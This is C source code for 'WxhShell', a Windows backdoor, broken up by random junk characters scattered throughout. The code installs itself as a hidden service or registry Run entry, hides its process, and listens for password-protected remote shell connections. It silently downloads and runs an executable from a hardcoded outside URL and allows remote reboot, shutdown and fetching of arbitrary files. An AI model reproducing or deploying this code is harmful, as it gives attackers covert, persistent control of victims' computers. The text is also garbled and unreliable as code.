U*yj HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A-:O`RK if(NULL == hInst ) return 0; X w .p ` gW<M g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Uje|`<X g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *H[Iq!@ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _
%%Z6x( dCu'>G\bP if (!NtQueryInformationProcess) return 0; 2Dd|~{% StI1){Wf hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }Yv\0\~'W| if(!hProcess) return 0; }oJAB1'k Ys8SDlMo if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f+.T^es J1XL<7 CloseHandle(hProcess); !K?qgM +wW@'X
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v_<2H'*Q if(hProcess==NULL) return 0; M/z}p VYw%01# HMODULE hMod; C[WCg9Av char procName[255]; >5G>D~b unsigned long cbNeeded; %c)[
kAU! p
h[\) if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S-#q~X!yJ !jqWwi CloseHandle(hProcess); //Ai.Q.J[ LEEC W_: if(strstr(procName,"services")) return 1; // 以服务启动 Iak0 [6Ey [_xyl e return 0; // 注册表启动 AOrHU M[I } D5?phyC[Z ^nVl (^{ // 主模块 Q:6VYONN int StartWxhshell(LPSTR lpCmdLine)
8[ry|J { 2AVc?
9@ SOCKET wsl; E2B>b[ BOOL val=TRUE; #=}$OFg int port=0; nW?R"@Zm struct sockaddr_in door; Tp<k<uKD l2hG$idC if(wscfg.ws_autoins) Install(); N~ANjn/wL }%n5nLU` port=atoi(lpCmdLine); *R% wUi Mp\<cE if(port<=0) port=wscfg.ws_port; f c6g r+<{S\ Q WSADATA data; \.e4.[%[2- if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HI&kP+,y zGc(Ef5`M6 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; NE|[o0On setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P,bd' door.sin_family = AF_INET; "Mmf6hu door.sin_addr.s_addr = inet_addr("127.0.0.1"); t^EhE door.sin_port = htons(port); *Zd84wRSj V:bV ?lt if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /&ygi H{^ closesocket(wsl); YnV/M,U return 1; kpob b } K'6[J"dB _|isa]u\z if(listen(wsl,2) == INVALID_SOCKET) { !D.0 (J closesocket(wsl); "r.2]R3 return 1; R_Dc) } Sav`%0q?7a Wxhshell(wsl); "PpjoM
~ WSACleanup(); C>|@& o1 8V4V3^_xs return 0; kRIB<@{ fAj2LAK } aW5~Be$
_ B!aK // 以NT服务方式启动 F'J [y"~_ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :_d3//| { 6 o[/F3` DWORD status = 0; a5`eyL[f DWORD specificError = 0xfffffff; 7S2C /f E*v]:kok serviceStatus.dwServiceType = SERVICE_WIN32; H)JS0
G0 serviceStatus.dwCurrentState = SERVICE_START_PENDING; ekzjF\!y serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `"y{;PCt_ serviceStatus.dwWin32ExitCode = 0; vrrt @y serviceStatus.dwServiceSpecificExitCode = 0; <Dw]yGK@ serviceStatus.dwCheckPoint = 0; kC^.4n
om serviceStatus.dwWaitHint = 0; j.c8}r& `B#Z;R hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U|fTb0fB if (hServiceStatusHandle==0) return; a[O6YgO y' tRANxQ status = GetLastError(); S=R3"~p if (status!=NO_ERROR) DNth4z { XNmQ?`.2' serviceStatus.dwCurrentState = SERVICE_STOPPED; Xm[Czd]% serviceStatus.dwCheckPoint = 0; zv%J=N$G serviceStatus.dwWaitHint = 0; 5t'Fv<g serviceStatus.dwWin32ExitCode = status; F RH&B5w serviceStatus.dwServiceSpecificExitCode = specificError; VJ1*|r, SetServiceStatus(hServiceStatusHandle, &serviceStatus); )}|mDN&P return; G\/IM } ul}'{|4 1KJZWZy serviceStatus.dwCurrentState = SERVICE_RUNNING; U1^l+G^,~ serviceStatus.dwCheckPoint = 0; 0(TvQ{ serviceStatus.dwWaitHint = 0; S:s
3EM if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )<LI%dQ:'l } ?N#[<kd <$C<Ba?;? // 处理NT服务事件,比如:启动、停止 1jOKcm'# VOID WINAPI NTServiceHandler(DWORD fdwControl) Dm4B { T 'i~_R6 switch(fdwControl) B "n`|;r5 { *SGlqR['\e case SERVICE_CONTROL_STOP: X<K9L7/* serviceStatus.dwWin32ExitCode = 0; 9%TT>2# serviceStatus.dwCurrentState = SERVICE_STOPPED; j1F w
U serviceStatus.dwCheckPoint = 0; foyB{6q8 serviceStatus.dwWaitHint = 0; rys<-i( { !c_u-&b) SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z3n~&! } 4@))OD^ x return; d
qpgf@ case SERVICE_CONTROL_PAUSE: k1wr/G'H[ serviceStatus.dwCurrentState = SERVICE_PAUSED; *zSxG[s break; _jDS" case SERVICE_CONTROL_CONTINUE: u
!.DnKu serviceStatus.dwCurrentState = SERVICE_RUNNING; r+TK5|ke break; Z*h ;e; case SERVICE_CONTROL_INTERROGATE: |=,83,a break; 9RB`$5F;
}; o]p#%B?mZ SetServiceStatus(hServiceStatusHandle, &serviceStatus); \AHY[WKx } _2; ^v`[ @jKDj]\ // 标准应用程序主函数 uwId int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z[Z2H5[ { 5Fr; C;%Y\S // 获取操作系统版本 >.n;mk OsIsNt=GetOsVer(); uX98iJ GetModuleFileName(NULL,ExeFile,MAX_PATH); 0 S2v"(_T |a>}9:g,=* // 从命令行安装 p}&Md-$1 if(strpbrk(lpCmdLine,"iI")) Install(); "'~|}x1Uv 8Kk3_ y // 下载执行文件 `i9N)3
X if(wscfg.ws_downexe) { ;Na^]32 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d4% `e&K]' WinExec(wscfg.ws_filenam,SW_HIDE); ]L$4Py } 0s)cVYppe D {Oq\* if(!OsIsNt) { ia_Z\q // 如果时win9x,隐藏进程并且设置为注册表启动 v7L"` HideProc(); 487YaioB$ StartWxhshell(lpCmdLine); TZ:34\u } yAAG2c4( else .#sz|0 if(StartFromService()) ka!Bmv) // 以服务方式启动 ENO? ; StartServiceCtrlDispatcher(DispatchTable); Ut]2` 8- else %3rTQ:X // 普通方式启动 uC- A43utv StartWxhshell(lpCmdLine); 8W;xi:CC oHOW5 return 0; ujiZM } 5dqQws-,?1 KUF$h Er lxo.,n) ) @!~8<_" =========================================== '!Hhd![\=| Ze#Jhn@ v#iFQVBq "\4]X"3<+ -xw98 SOhSg]g " qx Wgt(Os nDyvX1] #include <stdio.h> nrF%wH/5 #include <string.h> VPWxHVf #include <windows.h> ]}p2Tp;1 #include <winsock2.h> ZyHIMo| #include <winsvc.h> -T 2~W! #include <urlmon.h> _t$lcOT Y_$^:LG #pragma comment (lib, "Ws2_32.lib") 4sj9Z: #pragma comment (lib, "urlmon.lib") `@4 2jG}* c =jcvDQ6W #define MAX_USER 100 // 最大客户端连接数 +xn&K"]:3 #define BUF_SOCK 200 // sock buffer tceIA8d6
#define KEY_BUFF 255 // 输入 buffer V/`#B$6 M_qP!+Y #define REBOOT 0 // 重启 w/qQ(]n8 #define SHUTDOWN 1 // 关机
DhY;pG,t =ZCH1J5" #define DEF_PORT 5000 // 监听端口 ]&&I|K_ iSOD&J_ #define REG_LEN 16 // 注册表键长度 nwY2BIB #define SVC_LEN 80 // NT服务名长度 *d^9,GGn- h |s*i // 从dll定义API CbnR<W-j typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `DI{wqV9 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "g
x5XW& typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +`Q
PBj^ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4aj[5fhb- #rh0r` // wxhshell配置信息 +i: E struct WSCFG { F6RyOUma int ws_port; // 监听端口 &Tf=~6 char ws_passstr[REG_LEN]; // 口令 B$K7L'e+- int ws_autoins; // 安装标记, 1=yes 0=no WpZy](, char ws_regname[REG_LEN]; // 注册表键名 RA*_&Ll&!C char ws_svcname[REG_LEN]; // 服务名 1h#w"4 char ws_svcdisp[SVC_LEN]; // 服务显示名 N2[, aU char ws_svcdesc[SVC_LEN]; // 服务描述信息 vS~AxeW/7R char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ZkJY.H-F int ws_downexe; // 下载执行标记, 1=yes 0=no _DNkdS
[[ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2&^,IIp char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NUi{!< b|X>3( }; D]t~S1ycG7 R*JOiVAC // default Wxhshell configuration V/QTYy1 struct WSCFG wscfg={DEF_PORT, [i,5>YIk "xuhuanlingzhe", Up]VU9z 1, o`<h=+a\ "Wxhshell", kcg)_]~6 "Wxhshell", |YG)NO "WxhShell Service", *>}McvtTw "Wrsky Windows CmdShell Service", i~v@ "Please Input Your Password: ", htdn$kqG
1, 9*GL@_c "http://www.wrsky.com/wxhshell.exe", |R_xY=z? "Wxhshell.exe" M]8eW }; ,iA2si puf;"c6e' // 消息定义模块 ZI#SYEF6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; aT`02X char *msg_ws_prompt="\n\r? for help\n\r#>"; 0ER6cTo-t char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3rXL0&3w% char *msg_ws_ext="\n\rExit."; ,b2O^tJF# char *msg_ws_end="\n\rQuit."; I&Eg-96@ char *msg_ws_boot="\n\rReboot..."; x~3>1Wr#M char *msg_ws_poff="\n\rShutdown..."; ey9fbS ^I char *msg_ws_down="\n\rSave to "; `9G$p|6 P /f ~ char *msg_ws_err="\n\rErr!"; O*+w_fox char *msg_ws_ok="\n\rOK!"; T$>=+U hj#+8= char ExeFile[MAX_PATH]; cwDD(j
int nUser = 0; >.k@!* HANDLE handles[MAX_USER]; 4n.i<K8K[ int OsIsNt; R- ?0k: c,[qjr#\> SERVICE_STATUS serviceStatus; %]P@G^Bv SERVICE_STATUS_HANDLE hServiceStatusHandle; `OF;>u*:
_UbR8 // 函数声明 ^5zS2nm int Install(void); +wf& L int Uninstall(void); ggYIq*4 int DownloadFile(char *sURL, SOCKET wsh); N#xM_Mpt int Boot(int flag); hc4`'r; void HideProc(void); XTn{1[.O int GetOsVer(void); ud~VQXZo int Wxhshell(SOCKET wsl); 1{uDHB void TalkWithClient(void *cs); 2Dwt4V int CmdShell(SOCKET sock); hzf}_1 int StartFromService(void); |SJ%
_#=i int StartWxhshell(LPSTR lpCmdLine); N?u2,h- Wf&G9Be?8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s-YV_ VOID WINAPI NTServiceHandler( DWORD fdwControl ); f*R_\ %/,Uk+3p // 数据结构和表定义 -QHzf&D? SERVICE_TABLE_ENTRY DispatchTable[] = \Jj'60L^ { oR%E_g?mI~ {wscfg.ws_svcname, NTServiceMain}, SUQ}^gn] {NULL, NULL} P^{`d_[K% }; :-jP8X %L=h}U13 // 自我安装 ?[|4QzR int Install(void) Y&!McM!Jw { ,C12SM*@ char svExeFile[MAX_PATH]; #| e5 HKEY key; qi5>GX^t]b strcpy(svExeFile,ExeFile); XajY'+DIsz f>JzG,- // 如果是win9x系统,修改注册表设为自启动 /URj$| if(!OsIsNt) { 9$w)_RX9W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nd9-3W RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 74!JPOpQH RegCloseKey(key); LAjw!QB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r?{LQWP>e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Mh@ylp+q RegCloseKey(key); U";Rp&\3; return 0; r-DD*'R } ~d1RD } bsS|!KT } ^K@GK else { p<.!::* %( m`w6wz // 如果是NT以上系统,安装为系统服务 gA8u E SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^{,},
i if (schSCManager!=0) ="*C&wB^ {
TOP'Bmb SC_HANDLE schService = CreateService @!tmUme1c ( $TUC?e9"h schSCManager, {:!SH6 ff wscfg.ws_svcname, TuPxyB wscfg.ws_svcdisp, (>% Vj SERVICE_ALL_ACCESS, ]?5@ObG SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _-nN(
${{ SERVICE_AUTO_START, P>cJ~FM SERVICE_ERROR_NORMAL, 2+rao2
svExeFile, 206jeH9 NULL, W`rE\P NULL, ojI"<Q~g NULL, Tl{r D(D NULL, K*D]\/; ^ NULL ;:YjgZ:+Q] ); x{w ?X.Nt if (schService!=0) lP
&%5y; { *8HxJ+[,[ CloseServiceHandle(schService); sm <kb@g CloseServiceHandle(schSCManager); 3m9E2R, strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); um4zLsd#v strcat(svExeFile,wscfg.ws_svcname); @k;3$ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f\_Q+!^ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JVYYwA^. RegCloseKey(key); <GlV!y return 0; 7Et(p' }
BNUf0; } D-EM CloseServiceHandle(schSCManager); %zVv3p: } I.V?O} } TgFj-"L\ wOfx7D return 1; -1~-uE.~4d } . \/jy]Y \U(;%V // 自我卸载 B;k3YOg int Uninstall(void) 6p;G~,bd~ { CJn{tP HKEY key; ^T^l3B[ +>v3&[lGv if(!OsIsNt) { l y!vbpE_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "'#18&N RegDeleteValue(key,wscfg.ws_regname); g>L4N.ZH_v RegCloseKey(key); 25:[VH$:4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LIm{Y`XU RegDeleteValue(key,wscfg.ws_regname); lfle7; RegCloseKey(key); nU^ -D1s{ return 0; REEs}88);' } [:vH_(| } F_<n8U:Y } O~wZU Zf else { pJnT \~o -^R6U~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /Qa'\X,f3 if (schSCManager!=0) { :^;byd { 1KHFzx, SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5mtsN# if (schService!=0) G}|!Jdr { n8FmIoZ&` if(DeleteService(schService)!=0) { <`PW4zSI CloseServiceHandle(schService); #![9QUvcf CloseServiceHandle(schSCManager); ?h$
=] return 0; >EacXPt-O } 4lVvs(W? CloseServiceHandle(schService); \/wbk`2 } 2aDjt{7P CloseServiceHandle(schSCManager); uPbGQ :%} } $u ae8h } yA+NRWWj :kQ%Mj> return 1; B_kjy=]O. } 006qj. [.
rULQl // 从指定url下载文件 hOOkf mOM int DownloadFile(char *sURL, SOCKET wsh) uQ(C,f[6p { )R+26wZ|n* HRESULT hr; t.s;dlx[@ char seps[]= "/"; N=vb*3ECg char *token; 7NFRCCXHQ char *file; ?q*,,+'0 char myURL[MAX_PATH]; Ic<J]+Xq char myFILE[MAX_PATH]; ~;QzV?% MsD@pa strcpy(myURL,sURL); U!TSAg21P token=strtok(myURL,seps); mw!EDJ;' while(token!=NULL) r@30y/C { KAFx^JLo file=token; cns~)j~ token=strtok(NULL,seps); pm4'2B|)g } =/Lwprj =>0G GetCurrentDirectory(MAX_PATH,myFILE); f|r+qe strcat(myFILE, "\\"); 5bZjW~d strcat(myFILE, file); us,~<e0 send(wsh,myFILE,strlen(myFILE),0); ,,Ia 4c
send(wsh,"...",3,0); (rT1wup hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (c\i .z if(hr==S_OK) &Sr7?u`k return 0; !l7D1i~ else 9*ek5vPB return 1; D| gI3i z]V%&f } ~USU\dni JA]qAr // 系统电源模块 GEGg
S&SM int Boot(int flag) d^:(-2l- { P-LdzVt(^ HANDLE hToken; G?e\w+}Pj@ TOKEN_PRIVILEGES tkp; C%ZSsp
u U8]BhJr$Q if(OsIsNt) { RLE6=#4 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Eo@b)h LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fEYo<@5c] tkp.PrivilegeCount = 1; ln&9WF\I tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
VM"z6@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [7+dZL[ if(flag==REBOOT) { |Ev VS if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >=VtL4K^ return 0; "l7))>lL } SJd,l,Gg) else { vbMt}bM(GD if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mcm8|@Y{ return 0; Rct=vDU } --'!5)U } .0ExHcr else { ;z3w#fNMv if(flag==REBOOT) { T0F!0O ` if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9i`sSi8
return 0; #
ZcFxB6) } 7TaHE
else { i3usZ{_r if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &LM ^,xx} return 0; <7X6ULQ } dZi?Z } IHaNg
K2 k,M%"FLQ return 1; f !D~aJ } |`c=`xK7' (Tbw@BFk // win9x进程隐藏模块 h}@)oSX
} void HideProc(void) u''~nSR3& { vb1Gz]~)> +:D90p$e HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DAHQ7#qfQC if ( hKernel != NULL ) j+-+<h/( { GT(nW|v pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <&Q(I+^ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _=d
X01 FreeLibrary(hKernel); yG%<LP2p@f } { kF"<W qL1d-nH return; MDqUl:] } /N?vVp xOgUX6n // 获取操作系统版本 JAA{5@ST int GetOsVer(void) LjOHlT' { Dw-i!dq OSVERSIONINFO winfo; WUesTA> winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f:6%DT~a&C GetVersionEx(&winfo); TP-<Lhy if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `E4OgO return 1; 3Hg}G#]WS else YLO/J2[' return 0; fj,]dQT } e9e7_QG_- g\O&gNq<)- // 客户端句柄模块 LsGu-Y5^ int Wxhshell(SOCKET wsl) 5Rc^5Nv { >QJfTkD$ SOCKET wsh; u>U4w68 struct sockaddr_in client; Il&}4#: DWORD myID; w:~Y@b~D |'bRVqJ while(nUser<MAX_USER) nL[zXl { !`VC4o int nSize=sizeof(client); tm[e?+Iq wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u^{6U(% if(wsh==INVALID_SOCKET) return 1; 3jG
#<4;J x22:@Ot6 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _o-lNt+ if(handles[nUser]==0) n$S`NNO{] closesocket(wsh); vKCgtk else NcVsQV nUser++; ^twJNm{99 } A7SE>e> WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ag
\d4y6 ju= +!nGUa return 0; AHA4{Zu[ } V&>\U?q: !^/Mn // 关闭 socket k5=VH5{S void CloseIt(SOCKET wsh) 4\6-sL?rW { sivd@7r\Fa closesocket(wsh); 3n=`SLj/a nUser--; ;N FTdP ExitThread(0); e~wJO~ } 1>!wm0;x +.RC{o, // 客户端请求句柄 b35Z1sfD
j void TalkWithClient(void *cs) VZJ[h{ 6 { UI,i2<& MGmUgc SOCKET wsh=(SOCKET)cs; vFL\O char pwd[SVC_LEN]; q~K
KN /N char cmd[KEY_BUFF]; DG&[.dR+ char chr[1]; _E{hB int i,j; !w[io; 4&+;n[ D while (nUser < MAX_USER) { 3/w) mY-o nnZ|oEF if(wscfg.ws_passstr) { 1M4I7*r if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d/57;6I_ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ( _{\tgSm //ZeroMemory(pwd,KEY_BUFF); V|h/a\P i=0; j3W)5ZX while(i<SVC_LEN) { Pkm3&sW
a^*@j:[ // 设置超时 .Fy f4^0 fd_set FdRead; Q6?}/p struct timeval TimeOut; c
4<~?L FD_ZERO(&FdRead); CS:mO| FD_SET(wsh,&FdRead); |Q'l&Gt6 TimeOut.tv_sec=8; +U%U3tAvs TimeOut.tv_usec=0; -F+dRzxH int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +N9(o+UrU if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r`Qzn" H ;(kU:b|j if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZjE!?
'(ef pwd=chr[0]; "))G|+tz if(chr[0]==0xd || chr[0]==0xa) { B@,L83 pwd=0; Q&Rj)1! break; P|[i{h } 2[\I{<2/9 i++; *N0R3da } ?Afx{H7 Ba$Ibq,r/ // 如果是非法用户,关闭 socket 5"IbmD>D if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); By
t{3$ } 7kBULeBn| ys5b34JN send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q1G?e,Q send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oJF@O:A ^oFg5 while(1) { %5=XszS ("t;
2Mw ZeroMemory(cmd,KEY_BUFF); |(e`V
}ug|&25D // 自动支持客户端 telnet标准 glk_*x j=0; Z=sC YLm while(j<KEY_BUFF) { Fejs9'cB if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U$J l5[`F^ cmd[j]=chr[0]; P5+FZzQ if(chr[0]==0xa || chr[0]==0xd) { *pMgjr cmd[j]=0; +"!,rZ7,A break; 1*eWo~G } U@<>2 j++; 4c2*)x$@ } a.a5qwG yfS`g-j{~ // 下载文件 G)b6Rit if(strstr(cmd,"http://")) { w0x%7mg@ send(wsh,msg_ws_down,strlen(msg_ws_down),0); eu(1bAfS&T if(DownloadFile(cmd,wsh)) #\G{2\R send(wsh,msg_ws_err,strlen(msg_ws_err),0); kfo, PrW`A else #c V_p send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .c'EXuI7), } !< |